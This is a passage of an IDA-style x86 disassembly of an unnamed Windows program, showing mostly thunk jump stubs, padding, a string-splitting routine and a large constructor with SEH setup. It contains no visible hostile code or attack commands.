jmp sub_409D20
sub_401FBE endp
; ---------------------------------------------------------------------------
jmp loc_419950
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FC8 proc near ; CODE XREF: sub_41A0E0+3p
; sub_41B040+9j ...
jmp sub_41A110
sub_401FC8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401FCD proc near ; CODE XREF: sub_40BCB0+34p
; sub_40C120+67p
jmp sub_40C040
sub_401FCD endp
; ---------------------------------------------------------------------------
jmp loc_432690
; ---------------------------------------------------------------------------
loc_401FD7: ; DATA XREF: ___:off_43E094o
jmp loc_435280
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FDC proc near ; CODE XREF: ___:00418610p
jmp sub_40F0B0
sub_401FDC endp
; ---------------------------------------------------------------------------
jmp loc_436300
; ---------------------------------------------------------------------------
loc_401FE6: ; DATA XREF: ___:0043E03Co
jmp loc_41EDB0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FEB proc near ; CODE XREF: sub_41F860+5Ap
jmp sub_41FF40
sub_401FEB endp
; ---------------------------------------------------------------------------
jmp loc_430380
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FF5 proc near ; CODE XREF: ___:00416A2Bp
; ___:00439F88j ...
jmp sub_417B00
sub_401FF5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FFA proc near ; CODE XREF: ___:00416D7Fp
jmp sub_413120
sub_401FFA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FFF proc near ; CODE XREF: sub_421A80+5p
jmp sub_421F80
sub_401FFF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402004 proc near ; CODE XREF: ___:00421654p
jmp sub_41BFA0
sub_402004 endp
; ---------------------------------------------------------------------------
off_402009 dd offset byte_4BC2E9 ; DATA XREF: ___:off_43E008o
align 2
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40200E proc near ; CODE XREF: sub_404640+2CEp
; sub_404C70+472p ...
jmp sub_40A670
sub_40200E endp
; ---------------------------------------------------------------------------
jmp loc_433120
; ---------------------------------------------------------------------------
jmp sub_41B3D0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40201D proc near ; CODE XREF: sub_422370+Ap
jmp sub_422650
sub_40201D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402022 proc near ; CODE XREF: sub_403FC0+44Ep
; sub_404C70+7EAp ...
jmp sub_41B950
sub_402022 endp
; ---------------------------------------------------------------------------
loc_402027: ; DATA XREF: ___:off_43E014o
jmp loc_40ADE0
; ---------------------------------------------------------------------------
loc_40202C: ; DATA XREF: ___:off_43E088o
jmp loc_42BE60
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402031 proc near ; CODE XREF: ___:0040ADE3p
; ___:0040FEDEp ...
jmp sub_40AE10
sub_402031 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402036 proc near ; CODE XREF: sub_424840+109p
; sub_424840+178p ...
jmp sub_424720
sub_402036 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40203B proc near ; CODE XREF: sub_4098E0+7p
jmp sub_4099D0
sub_40203B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402040 proc near ; CODE XREF: sub_416660+Ap
jmp sub_416870
sub_402040 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402045 proc near ; CODE XREF: ___:0041870Fp
jmp sub_40CB10
sub_402045 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40204A proc near ; CODE XREF: ___:0042EEEBp
; sub_42FDD0+EAp
jmp sub_433030
sub_40204A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40204F proc near ; CODE XREF: sub_421960+5p
; sub_421A50+6p ...
jmp sub_421EF0
sub_40204F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402054 proc near ; CODE XREF: sub_40FF60+8ADp
; sub_40FF60+95Ep ...
jmp sub_411990
sub_402054 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_402059 proc near ; CODE XREF: sub_40C040+7p
jmp sub_40C230
sub_402059 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40205E proc near ; CODE XREF: sub_418940+34p
; sub_418E90+67p
jmp sub_418CA0
sub_40205E endp
; ---------------------------------------------------------------------------
jmp loc_409B10
; ---------------------------------------------------------------------------
loc_402068: ; DATA XREF: ___:off_43E13Co
jmp loc_427FC0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40206D proc near ; CODE XREF: sub_417020+2Bp
; sub_417020+3Bp ...
jmp sub_403EE0
sub_40206D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402072 proc near ; CODE XREF: sub_4097D0+14p
jmp sub_409830
sub_402072 endp
; ---------------------------------------------------------------------------
jmp loc_431FD0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40207C proc near ; CODE XREF: sub_427AD0:loc_427CDBp
jmp sub_4279F0
sub_40207C endp
; ---------------------------------------------------------------------------
jmp sub_426650
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402086 proc near ; CODE XREF: sub_418330+4Dp
jmp sub_418A70
sub_402086 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40208B proc near ; CODE XREF: sub_415160+5p
; sub_415310+6p ...
jmp sub_415CE0
sub_40208B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402090 proc near ; CODE XREF: sub_426650+3p
jmp sub_426680
sub_402090 endp
; ---------------------------------------------------------------------------
jmp loc_41B0F0
; ---------------------------------------------------------------------------
jmp loc_421620
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40209F proc near ; CODE XREF: ___:00416D4Fp
jmp sub_407030
sub_40209F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020A4 proc near ; CODE XREF: sub_413670+83p
; sub_4144D0+91p ...
jmp sub_415310
sub_4020A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020A9 proc near ; DATA XREF: ___:0043E054o
jmp sub_41EF30
sub_4020A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020AE proc near ; CODE XREF: sub_40A9F0+144p
jmp sub_40AD00
sub_4020AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020B3 proc near ; CODE XREF: sub_42FF50+BAp
; sub_432980+36p
jmp sub_4329F0
sub_4020B3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020B8 proc near ; CODE XREF: sub_421DF0+23p
; sub_422240+11p
jmp sub_4223E0
sub_4020B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020BD proc near ; CODE XREF: sub_4220E0+4p
jmp sub_4224F0
sub_4020BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020C2 proc near ; CODE XREF: sub_42A810+3BBp
jmp sub_42A440
sub_4020C2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020C7 proc near ; CODE XREF: ___:0041A212p
jmp sub_41A2B0
sub_4020C7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020CC proc near ; CODE XREF: sub_416760+Ap
jmp sub_4168C0
sub_4020CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020D1 proc near ; DATA XREF: ___:off_43E18Co
jmp sub_42B2D0
sub_4020D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020D6 proc near ; CODE XREF: sub_415C70+4p
jmp sub_416490
sub_4020D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4020DB proc near ; CODE XREF: ___:0042F4B6p
; ___:0042F518p ...
jmp sub_4337E0
sub_4020DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020E0 proc near ; CODE XREF: sub_418D20+8p
jmp sub_418FC0
sub_4020E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4020E5 proc near ; CODE XREF: sub_418890+34p
; sub_418D80+67p
jmp sub_418BA0
sub_4020E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020EA proc near ; CODE XREF: sub_41A6D0+117p
jmp sub_41A860
sub_4020EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020EF proc near ; CODE XREF: sub_415AA0+35p
jmp sub_416570
sub_4020EF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020F4 proc near ; CODE XREF: sub_404C70+45Cp
; sub_4066E0+43p ...
jmp sub_409BC0
sub_4020F4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4020F9 proc near ; CODE XREF: sub_40BD20+5p
; sub_40BE60+6p ...
jmp sub_40C060
sub_4020F9 endp
; ---------------------------------------------------------------------------
jmp loc_42F5B0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402103 proc near ; CODE XREF: ___:00416E7Ap
jmp sub_4190B0
sub_402103 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402108 proc near ; CODE XREF: ___:00429A33p
jmp sub_429A60
sub_402108 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40210D proc near ; CODE XREF: sub_40FF60+F3Dp
; sub_40FF60+1392p ...
jmp sub_4147D0
sub_40210D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402112 proc near ; CODE XREF: sub_4139B0+38p
; sub_413DA0+5Fp
jmp sub_413510
sub_402112 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402117 proc near ; CODE XREF: sub_40A130+14p
; sub_40A160+7p ...
jmp sub_40A180
sub_402117 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40211C proc near ; CODE XREF: sub_42A150+157p
jmp sub_429D00
sub_40211C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402121 proc near ; CODE XREF: sub_40ABE0+1Ap
; sub_40AC30+1Ap
jmp sub_40ACA0
sub_402121 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402126 proc near ; CODE XREF: sub_415600+3p
; sub_415DD0+4Fp ...
jmp sub_416050
sub_402126 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40212B proc near ; DATA XREF: ___:0043E02Co
jmp sub_40FF60
sub_40212B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402130 proc near ; CODE XREF: sub_4147D0+EDp
jmp sub_415830
sub_402130 endp
; ---------------------------------------------------------------------------
jmp loc_41B390
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40213A proc near ; CODE XREF: sub_40BE20+3p
jmp sub_40C0A0
sub_40213A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40213F proc near ; CODE XREF: sub_40BEC0+11p
; sub_40BEC0+27p ...
jmp sub_40C1E0
sub_40213F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402144 proc near ; CODE XREF: sub_41E660+2C5p
jmp sub_4207E0
sub_402144 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402149 proc near ; CODE XREF: sub_41D830+652p
jmp sub_41C070
sub_402149 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40214E proc near ; CODE XREF: sub_418BC0+32p
jmp sub_418E90
sub_40214E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402153 proc near ; CODE XREF: sub_40EC30+ACp
; ___:0040F35Dp
jmp sub_40ED70
sub_402153 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402158 proc near ; CODE XREF: sub_4137E0+93p
jmp sub_433A20
sub_402158 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40215D proc near ; CODE XREF: sub_4151D0+1Fp
; sub_415AA0+2Cp
jmp sub_415A00
sub_40215D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402162 proc near ; CODE XREF: ___:0042541Dp
jmp sub_4253E0
sub_402162 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402167 proc near ; CODE XREF: sub_420530+17Dp
jmp sub_4219D0
sub_402167 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40216C proc near ; CODE XREF: ___:0042C261p
jmp sub_42A090
sub_40216C endp
; ---------------------------------------------------------------------------
loc_402171: ; DATA XREF: ___:off_43E010o
jmp loc_409B10
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402176 proc near ; CODE XREF: sub_40A9F0+6Ap
; sub_40A9F0+103p
jmp sub_40AC30
sub_402176 endp
; ---------------------------------------------------------------------------
jmp loc_426620
; ---------------------------------------------------------------------------
jmp loc_41AC00
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402185 proc near ; CODE XREF: sub_407220+16p
; sub_407260+Bp ...
jmp sub_4074C0
sub_402185 endp
; ---------------------------------------------------------------------------
jmp loc_416CE0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40218F proc near ; CODE XREF: sub_40B000+1Bp
jmp sub_432AD0
sub_40218F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402194 proc near ; CODE XREF: sub_415A00+5Ap
jmp sub_4164E0
sub_402194 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402199 proc near ; CODE XREF: sub_42F6B0+ABp
; sub_430690+1Bp ...
jmp sub_430700
sub_402199 endp
; ---------------------------------------------------------------------------
jmp loc_42EA90
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4021A3 proc near ; CODE XREF: sub_407790+F27p
; ___:004086DCp ...
jmp sub_4198C0
sub_4021A3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021A8 proc near ; DATA XREF: ___:0043E130o
; ___:0043E140o ...
jmp sub_42C710
sub_4021A8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021AD proc near ; CODE XREF: sub_40B520+55p
jmp sub_409FD0
sub_4021AD endp
; ---------------------------------------------------------------------------
loc_4021B2: ; DATA XREF: ___:off_43E14Co
jmp loc_428220
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4021B7 proc near ; CODE XREF: sub_421AF0+34p
; sub_422410+67p
jmp sub_422130
sub_4021B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021BC proc near ; CODE XREF: sub_4070F0+2Cp
; sub_4070F0+68p ...
jmp sub_407260
sub_4021BC endp
; ---------------------------------------------------------------------------
jmp loc_4333F0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021C6 proc near ; CODE XREF: sub_41C610+1B3p
; sub_41C610+332p ...
jmp sub_41D670
sub_4021C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021CB proc near ; CODE XREF: sub_40BC70+11p
; sub_40BEC0+1Fp
jmp sub_40BFF0
sub_4021CB endp
; ---------------------------------------------------------------------------
jmp loc_42F5F0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021D5 proc near ; CODE XREF: sub_4245F0+1Ap
; sub_4246D0+1Bp ...
jmp sub_424420
sub_4021D5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4021DA proc near ; CODE XREF: ___:004169BBp
jmp sub_418940
sub_4021DA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021DF proc near ; CODE XREF: ___:004186B4p
jmp sub_42BB70
sub_4021DF endp
; ---------------------------------------------------------------------------
jmp loc_42EC80
; ---------------------------------------------------------------------------
jmp loc_42EE10
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021EE proc near ; CODE XREF: sub_433160+1Bp
jmp sub_4331D0
sub_4021EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021F3 proc near ; CODE XREF: sub_42E400+101p
jmp sub_42DD50
sub_4021F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4021F8 proc near ; DATA XREF: ___:off_43E00Co
jmp sub_4071C0
sub_4021F8 endp
; ---------------------------------------------------------------------------
jmp loc_42E2D0
; ---------------------------------------------------------------------------
jmp locret_418840
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402207 proc near ; CODE XREF: sub_4036D0+25p
; sub_4036D0+35p ...
jmp sub_403C90
sub_402207 endp
; ---------------------------------------------------------------------------
jmp loc_433100
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402211 proc near ; CODE XREF: sub_418330+88p
; sub_418330+98p
jmp sub_418A90
sub_402211 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402216 proc near ; CODE XREF: ___:00416ABBp
; ___:00439F0Aj ...
jmp sub_417770
sub_402216 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40221B proc near ; CODE XREF: sub_418AE0+5p
jmp sub_418D50
sub_40221B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402220 proc near ; CODE XREF: sub_414640+3p
jmp sub_414670
sub_402220 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402225 proc near ; CODE XREF: ___:0042F2FBp
; ___:0042FC27p ...
jmp sub_430AD0
sub_402225 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40222A proc near ; DATA XREF: ___:off_43E11Co
jmp sub_427600
sub_40222A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40222F proc near ; CODE XREF: sub_42F840+102p
; sub_431730+5Dp ...
jmp sub_430810
sub_40222F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402234 proc near ; CODE XREF: sub_413510+5Cp
; sub_413510+C0p ...
jmp sub_415460
sub_402234 endp
; ---------------------------------------------------------------------------
jmp loc_431410
; ---------------------------------------------------------------------------
jmp loc_42F170
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402243 proc near ; CODE XREF: sub_41D830+203p
jmp sub_42D0D0
sub_402243 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402248 proc near ; CODE XREF: sub_42E400+148p
; sub_42E400+173p
jmp sub_42DC70
sub_402248 endp
; ---------------------------------------------------------------------------
jmp loc_42E1A0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402252 proc near ; CODE XREF: sub_4133D0+34p
; sub_4147D0+40p
jmp sub_4158F0
sub_402252 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402257 proc near ; CODE XREF: sub_40CBB0+1A4p
; sub_40CF60+ADp
jmp sub_40CF60
sub_402257 endp
; ---------------------------------------------------------------------------
jmp loc_42E220
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_402261 proc near ; CODE XREF: sub_422A40+938p
jmp loc_423FA0
sub_402261 endp
; ---------------------------------------------------------------------------
jmp loc_419A90
; ---------------------------------------------------------------------------
loc_40226B: ; CODE XREF: ___:00438CE6j
jmp loc_40CEE0
; ---------------------------------------------------------------------------
db 1270h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4034E0 proc near ; CODE XREF: sub_4019B5j
var_46C = dword ptr -46Ch
var_468 = byte ptr -468h
var_450 = byte ptr -450h
var_438 = byte ptr -438h
var_420 = byte ptr -420h
var_408 = dword ptr -408h
var_404 = byte ptr -404h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0FFFFFFFFh
push offset SEH_4034E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 460h
mov eax, [esp+46Ch+arg_4]
push ebp
push esi
push edi
mov [esp+478h+var_408], eax
mov eax, [esp+478h+arg_8]
xor edi, edi
mov esi, 1
cmp eax, edi
mov [esp+478h+var_46C], edi
jz short loc_403539
lea edx, [esp+478h+arg_8]
lea ecx, [esp+478h+var_404]
loc_40352A: ; CODE XREF: sub_4034E0+57j
add edx, 4
mov [ecx], eax
inc esi
add ecx, 4
mov eax, [edx]
cmp eax, edi
jnz short loc_40352A
loc_403539: ; CODE XREF: sub_4034E0+3Dj
lea ecx, [esp+478h+var_468]
mov [esp+esi*4+478h+var_408], edi
call sub_401424
push offset asc_4435EC ; "|"
lea ecx, [esp+47Ch+var_438]
mov [esp+47Ch+var_4], 1
call sub_401861
push offset aABCDEFGHIJKLMN ; "a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t"...
lea ecx, [esp+47Ch+var_468]
mov byte ptr [esp+47Ch+var_4], 2
call sub_401A87
push offset byte_446F60
lea ecx, [esp+47Ch+var_450]
call sub_401861
mov byte ptr [esp+478h+var_4], 3
xor esi, esi
lea edi, [esp+478h+var_408]
loc_403591: ; CODE XREF: sub_4034E0+105j
mov ebp, [edi]
test ebp, ebp
jz short loc_4035E7
lea ecx, [esp+478h+var_438]
call sub_401681
dec ebp
push eax
lea ecx, [esp+47Ch+var_420]
push ebp
push ecx
lea ecx, [esp+484h+var_468]
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+478h+var_4], 4
call sub_4017E4
push eax
lea ecx, [esp+47Ch+var_450]
call sub_401A9B
lea ecx, [esp+478h+var_420]
mov byte ptr [esp+478h+var_4], 3
call sub_401226
inc esi
add edi, 4
cmp esi, 0FFh
jb short loc_403591
loc_4035E7: ; CODE XREF: sub_4034E0+B5j
mov esi, [esp+478h+arg_0]
lea edx, [esp+478h+var_450]
push edx
mov ecx, esi
call sub_4014C9
mov [esp+478h+var_46C], 1
lea ecx, [esp+478h+var_450]
mov byte ptr [esp+478h+var_4], 2
call sub_401226
lea ecx, [esp+478h+var_438]
mov byte ptr [esp+478h+var_4], 1
call sub_401226
lea ecx, [esp+478h+var_468]
mov byte ptr [esp+478h+var_4], 0
call sub_401226
mov ecx, [esp+478h+var_C]
mov eax, esi
pop edi
pop esi
pop ebp
mov large fs:0, ecx
add esp, 46Ch
retn
sub_4034E0 endp
; ---------------------------------------------------------------------------
db 90h
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4036B0 proc near ; CODE XREF: sub_401681j
mov eax, [ecx+9]
retn
sub_4036B0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4036D0 proc near ; CODE XREF: sub_40129Ej
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4036D0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+9]
call sub_402207
lea ecx, [esi+52h]
mov [esp+14h+var_4], 0
call sub_402207
lea ecx, [esi+9Bh]
mov byte ptr [esp+14h+var_4], 1
call sub_402207
lea ecx, [esi+0E4h]
mov byte ptr [esp+14h+var_4], 2
call sub_402207
lea ecx, [esi+12Dh]
mov byte ptr [esp+14h+var_4], 3
call sub_402207
lea ecx, [esi+176h]
mov byte ptr [esp+14h+var_4], 4
call sub_402207
lea ecx, [esi+1BFh]
mov byte ptr [esp+14h+var_4], 5
call sub_402207
lea ecx, [esi+208h]
mov byte ptr [esp+14h+var_4], 6
call sub_402207
lea ecx, [esi+251h]
mov byte ptr [esp+14h+var_4], 7
call sub_402207
lea ecx, [esi+29Ah]
mov byte ptr [esp+14h+var_4], 8
call sub_402207
lea ecx, [esi+2E3h]
mov byte ptr [esp+14h+var_4], 9
call sub_402207
lea ecx, [esi+32Ch]
mov byte ptr [esp+14h+var_4], 0Ah
call sub_402207
lea ecx, [esi+375h]
mov byte ptr [esp+14h+var_4], 0Bh
call sub_402207
lea ecx, [esi+3BEh]
mov byte ptr [esp+14h+var_4], 0Ch
call sub_402207
lea ecx, [esi+407h]
mov byte ptr [esp+14h+var_4], 0Dh
call sub_402207
lea ecx, [esi+450h]
mov byte ptr [esp+14h+var_4], 0Eh
call sub_402207
lea ecx, [esi+499h]
mov byte ptr [esp+14h+var_4], 0Fh
call sub_402207
lea ecx, [esi+4E2h]
mov byte ptr [esp+14h+var_4], 10h
call sub_402207
lea ecx, [esi+52Bh]
mov byte ptr [esp+14h+var_4], 11h
call sub_402207
mov byte ptr [esp+14h+var_4], 12h
lea ecx, [esi+574h]
call sub_402207
lea ecx, [esi+5BDh]
mov byte ptr [esp+14h+var_4], 13h
call sub_402207
lea ecx, [esi+606h]
mov byte ptr [esp+14h+var_4], 14h
call sub_402207
lea ecx, [esi+64Fh]
mov byte ptr [esp+14h+var_4], 15h
call sub_402207
lea ecx, [esi+698h]
mov byte ptr [esp+14h+var_4], 16h
call sub_402207
lea ecx, [esi+6E1h]
mov byte ptr [esp+14h+var_4], 17h
call sub_402207
lea ecx, [esi+72Ah]
mov byte ptr [esp+14h+var_4], 18h
call sub_402207
lea ecx, [esi+773h]
mov byte ptr [esp+14h+var_4], 19h
call sub_402207
lea ecx, [esi+7BCh]
mov byte ptr [esp+14h+var_4], 1Ah
call sub_402207
lea ecx, [esi+805h]
mov byte ptr [esp+14h+var_4], 1Bh
call sub_402207
lea ecx, [esi+84Eh]
mov byte ptr [esp+14h+var_4], 1Ch
call sub_402207
lea ecx, [esi+897h]
mov byte ptr [esp+14h+var_4], 1Dh
call sub_402207
lea ecx, [esi+8E0h]
mov byte ptr [esp+14h+var_4], 1Eh
call sub_402207
lea ecx, [esi+929h]
mov byte ptr [esp+14h+var_4], 1Fh
call sub_402207
lea ecx, [esi+972h]
mov byte ptr [esp+14h+var_4], 20h
call sub_402207
lea ecx, [esi+9BBh]
mov byte ptr [esp+14h+var_4], 21h
call sub_402207
lea ecx, [esi+0A04h]
mov byte ptr [esp+14h+var_4], 22h
call sub_402207
lea ecx, [esi+0A4Dh]
mov byte ptr [esp+14h+var_4], 23h
call sub_402207
lea ecx, [esi+0A96h]
mov byte ptr [esp+14h+var_4], 24h
call sub_402207
lea ecx, [esi+0ADFh]
mov byte ptr [esp+14h+var_4], 25h
call sub_402207
lea ecx, [esi+0B28h]
mov byte ptr [esp+14h+var_4], 26h
call sub_402207
lea ecx, [esi+0B71h]
mov byte ptr [esp+14h+var_4], 27h
call sub_401749
lea ecx, [esi+0B9Fh]
mov byte ptr [esp+14h+var_4], 28h
call sub_401749
lea ecx, [esi+0BCDh]
mov byte ptr [esp+14h+var_4], 29h
call sub_401749
lea ecx, [esi+0BFBh]
mov byte ptr [esp+14h+var_4], 2Ah
call sub_401749
lea ecx, [esi+0C29h]
mov byte ptr [esp+14h+var_4], 2Bh
call sub_401749
lea ecx, [esi+0C57h]
mov byte ptr [esp+14h+var_4], 2Ch
call sub_401749
lea ecx, [esi+0C85h]
mov byte ptr [esp+14h+var_4], 2Dh
call sub_401749
lea ecx, [esi+0CB3h]
mov byte ptr [esp+14h+var_4], 2Eh
call sub_401749
lea ecx, [esi+0CE1h]
mov byte ptr [esp+14h+var_4], 2Fh
call sub_401749
lea ecx, [esi+0D0Fh]
mov byte ptr [esp+14h+var_4], 30h
call sub_401749
lea ecx, [esi+0D3Dh]
mov byte ptr [esp+14h+var_4], 31h
call sub_401749
lea ecx, [esi+0D6Bh]
mov byte ptr [esp+14h+var_4], 32h
call sub_401749
lea ecx, [esi+0D99h]
mov byte ptr [esp+14h+var_4], 33h
call sub_401749
lea ecx, [esi+0DC7h]
mov byte ptr [esp+14h+var_4], 34h
call sub_401749
lea ecx, [esi+0DF5h]
mov byte ptr [esp+14h+var_4], 35h
call sub_401749
lea ecx, [esi+0E23h]
mov byte ptr [esp+14h+var_4], 36h
call sub_401749
lea ecx, [esi+0E51h]
mov byte ptr [esp+14h+var_4], 37h
call sub_401749
lea ecx, [esi+0E7Fh]
mov byte ptr [esp+14h+var_4], 38h
call sub_4011A4
lea ecx, [esi+10C7h]
mov byte ptr [esp+14h+var_4], 39h
call sub_4011A4
lea ecx, [esi+130Fh]
mov byte ptr [esp+14h+var_4], 3Ah
call sub_4011A4
lea ecx, [esi+1557h]
mov byte ptr [esp+14h+var_4], 3Bh
call sub_4011A4
lea ecx, [esi+179Fh]
mov byte ptr [esp+14h+var_4], 3Ch
call sub_4011A4
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E000
mov byte ptr [esi+4], 0
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4036D0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 110h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403C00 proc near ; CODE XREF: sub_401023j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_403C00
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_403C00 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403C70 proc near ; CODE XREF: sub_4011B3j
mov eax, ecx
mov dword ptr [eax], offset off_43E004
retn
sub_403C70 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_403C90 proc near ; CODE XREF: sub_402207j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
